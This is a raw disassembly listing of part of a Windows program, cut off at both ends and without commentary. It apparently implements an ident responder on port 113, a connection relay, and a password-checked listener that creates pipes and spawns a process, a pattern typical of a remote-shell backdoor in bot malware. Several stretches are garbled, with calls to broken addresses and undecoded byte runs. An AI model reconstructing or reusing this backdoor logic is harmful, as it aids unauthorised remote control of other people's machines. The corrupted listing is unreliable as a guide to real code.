		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DB	endp

; ---------------------------------------------------------------------------

loc_4101FC:				; DATA XREF: ___:loc_401666o
					; sub_401ACD+4369o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4D0824
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4D08A4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_44376C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4D0850
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4D084C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp-0Ch], edi
		mov	edi, 200h

loc_410287:				; CODE XREF: ___:004102E6j
					; ___:00410349j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4D08B8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035B
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_439884
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4D083C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4D0874
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	dword ptr [ebp-8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------

loc_41035B:				; CODE XREF: ___:0041029Cj
		cmp	[ebp-8], esi
		jnz	short loc_410387

loc_410360:				; CODE XREF: ___:00410243j
					; ___:00410267j ...
		call	dword_4D07B8
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_439840
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_410387:				; CODE XREF: ___:0041035Ej
		push	ebx
		call	dword_4D08BC
		push	dword ptr [ebp-4]
		call	dword_4D08BC
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx

loc_4103AA:				; DATA XREF: sub_401ACD+613Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4D0824
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4D08A4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410516
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_44376C[ecx], eax
		call	dword_4D0734
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D0850
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4D084C
		test	eax, eax
		jnz	loc_410516

loc_41045A:				; CODE XREF: ___:00410470j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D08B8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4398EC
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_443764[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053B
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 78E8h
		dd 8B0226FBh, 0C969C44Dh, 234h,	8189C63Bh, 443774h, 75391374h
		dd 63850FD0h, 6AFFFFFFh, 1E89032h, 0EB0226FBh, 64E890EDh
		dd 50022703h, 4398B068h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
		jmp	short loc_410519
; ---------------------------------------------------------------------------

loc_410516:				; CODE XREF: ___:0041040Dj
					; ___:00410441j ...
		mov	edi, [ebp+8]

loc_410519:				; CODE XREF: ___:00410514j
		push	edi
		call	dword_4D08BC
		push	dword ptr [ebp+8]
		call	dword_4D08BC
		push	dword ptr [ebp-40h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi

loc_41053B:				; DATA XREF: ___:004104CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4D08A4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4D0824
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4D0864
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4D08A8
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------

loc_4105CB:				; CODE XREF: ___:004105BAj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4D07DC

loc_4105D9:				; CODE XREF: ___:004105C9j
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4D07CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_439974
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_44376C[ebx]
		mov	dword_443764[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_443770[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410722
		push	edi
		push	edi
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_443774[ecx], eax
		jz	short loc_4106DE

loc_41068B:				; CODE XREF: ___:00410698j
		cmp	[ebp-20h], edi
		jnz	short loc_41069A
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_41068B
; ---------------------------------------------------------------------------

loc_41069A:				; CODE XREF: ___:0041068Ej
		mov	ebx, 1000h

loc_41069F:				; CODE XREF: ___:004106DAj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4D083C
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D0874
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------

loc_4106DE:				; CODE XREF: ___:00410689j
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_439934
		call	sub_415220
		pop	ecx
		pop	ecx

loc_4106F1:				; CODE XREF: ___:0041057Fj
					; ___:004105DBj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_44376C[eax]
		call	dword_4D08BC
		push	dword ptr [ebp+8]
		call	dword_4D08BC
		push	dword ptr [ebp-4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx

loc_410722:				; DATA XREF: ___:0041066Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_410759:				; CODE XREF: ___:0041079Ej
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_443770[esi]
		call	dword_4D083C
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_44376C[esi]
		call	dword_4D0874
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759

loc_4107A0:				; CODE XREF: ___:00410783j
		push	dword_443770[esi]
		call	dword_4D08BC
		push	dword ptr [ebp-14h]
		call	sub_40B412
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		dd 2CF843E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_44376C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4D080C
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4D08BC
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h

loc_410843:				; CODE XREF: ___:00410829j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4D083C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4D0778
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4D07B8
		push	eax
		push	offset unk_439A4C
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26E0000h

loc_4108BC:				; CODE XREF: ___:00410897j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4D07DC
		cmp	eax, edi
		jnz	short loc_4108E6
		push	dword ptr [ebp-18h]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------

loc_4108E6:				; CODE XREF: ___:004108CCj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0

loc_4108F4:				; CODE XREF: ___:004108E4j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_4429D8
		push	dword ptr [esi]
		call	dword_4D0874
		cmp	dword_4D3588, edi
		jnz	short loc_410956
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4D0874
		push	dword ptr [esi]
		call	dword_4D08BC
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26E0000h
		nop

loc_410956:				; CODE XREF: ___:0041090Bj
					; ___:0041092Cj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_439A10
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		call	near ptr 268086Bh
		nop
		push	eax
		push	offset unk_4399E4
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26E0000h

loc_41099D:				; CODE XREF: ___:00410978j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4399B8
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26E0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: ___:00410859p
					; ___:00410866p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4D083C
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]

loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4D083C
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------

loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_439A78
		call	sub_415220
		pop	ecx

loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------

loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax

loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: ___:00410922p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_439AA4
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp

; ---------------------------------------------------------------------------
byte_410A4D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+23D4o
		dd 5A4EC81h, 458B0000h,	6A575608h, 0F08B5978h, 0FDECBD8Dh
		dd 16AFFFFh, 895FA5F3h,	1DCB8h,	5C858D00h, 50FFFFFAh, 20268h
		dd 9415FF00h, 33004D07h, 74C63BF6h, 1468501Dh, 0E800439Ch
		dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h
		dd 6857022Ch, 410CCBh, 37F54FE8h, 0C0859002h, 0B0E82975h
		dd 900226FDh, 9BD06850h, 59E80043h, 59000047h, 7C15FF59h
		dd 0FF004D07h, 3BE8B475h, 59FFFFA9h, 21E89057h,	53022CF5h
		dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
		dd 0B075FF00h, 82415FFh, 66A004Dh, 66026A57h, 89E24589h
		dd 15FFE475h, 4D08A4h, 0FB83D88Bh, 3B840FFFh, 8B000001h
		dd 106AB445h, 234C069h,	98890000h, 44376Ch, 50E0458Dh
		dd 5015FF53h, 85004D08h, 17850FC0h, 68000001h, 7FFFFFFFh
		dd 4C15FF53h, 85004D08h, 3850FC0h, 68000001h, 439B94h
		dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
		dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4D08B8h
		dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
		dd 0FFFF68h, 15FF5700h,	4D0804h, 74FFF883h, 45B70FC5h
		dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4D08B015h, 858D5000h
		dd 0FFFFFBECh, 439B5068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
		dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh,	0A50CE850h
		dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh,	64888924h
		dd 8D004437h, 8D50DC45h, 0FFFDEC85h, 685056FFh,	4107BFh
		dd 56F0458Dh, 0F439E850h, 8B900226h, 0C969B84Dh, 234h
		dd 8189C63Bh, 443774h, 75391374h, 37850FC8h, 6AFFFFFFh
		dd 0C1E89032h, 0EB0226F3h, 24E890EDh, 500226FCh, 439B1468h
		dd 45CEE800h, 59590000h, 7D8B03EBh, 0B815FF08h,	50004D07h
		dd 0FBEC858Dh, 0DC68FFFFh, 5000439Ah, 0AC15E8h,	0CC48300h
		dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh,	0FDF0858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 4507E8h, 0FF575900h, 4D08BC15h, 15FF5300h
		dd 4D08BCh, 77C15FFh, 75FF004Dh, 0A750E8B4h, 5659FFFFh
		dd 0F336E890h, 335B022Ch, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: ___:0041096Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_44376C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		call	near ptr 268086Bh
		nop
		push	eax
		push	offset unk_439C74
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------

loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_439C74
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	near ptr 2690876h
		nop

loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------

loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	near ptr 279031Fh
		nop
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_439C40
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------

loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------

loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------

loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]

loc_410DDF:				; CODE XREF: sub_410CD5+104j
		call	near ptr 2690876h
		nop
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 2700A3Eh

loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4D08BC
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax

loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_439D24
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------

loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB1
		nop
		call	near ptr 268086Bh
		push	eax
		push	offset unk_439CE4

loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------

loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_439CBC
		call	sub_4151AC

loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi

loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi

loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi

loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi

loc_410F09:				; CODE XREF: sub_410E26+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx

loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------

loc_410F14:				; CODE XREF: sub_410E26+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
